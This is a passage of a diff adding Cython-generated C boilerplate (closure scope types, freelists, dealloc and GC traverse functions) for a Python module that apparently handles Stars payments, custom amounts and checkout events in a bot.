visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount_spec = { + "handlers.payments.stars_pay.__pyx_scope_struct_2_process_enter_custom_amount", + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.stars_pay.""__pyx_scope_struct_2_process_enter_custom_amount", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input[8]; +static int __pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input[--__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input(PyObject *o) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_message); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input)))) { + __pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input[__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input++] = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_message) { + e = (*v)(p->__pyx_v_message, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input_spec = { + "handlers.payments.stars_pay.__pyx_scope_struct_3_process_custom_amount_input", + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.stars_pay.""__pyx_scope_struct_3_process_custom_amount_input", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query[8]; +static int __pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query[--__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query(PyObject *o) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_pre_checkout_query); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query)))) { + __pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query[__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query++] = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *)o; + if (p->__pyx_v_pre_checkout_query) { + e = (*v)(p->__pyx_v_pre_checkout_query, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query_spec = { + "handlers.payments.stars_pay.__pyx_scope_struct_4_on_pre_checkout_query", + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.stars_pay.""__pyx_scope_struct_4_on_pre_checkout_query", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment[8]; +static int __pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment[--__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment(PyObject *o) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_message); + Py_CLEAR(p->__pyx_v_user_id); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment)))) { + __pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment[__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment++] = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *)o; + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_message) { + e = (*v)(p->__pyx_v_message, a); if (e) return e; + } + if (p->__pyx_v_user_id) { + e = (*v)(p->__pyx_v_user_id, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment_spec = { + "handlers.payments.stars_pay.__pyx_scope_struct_5_on_successful_payment", + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.stars_pay.""__pyx_scope_struct_5_on_successful_payment", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, 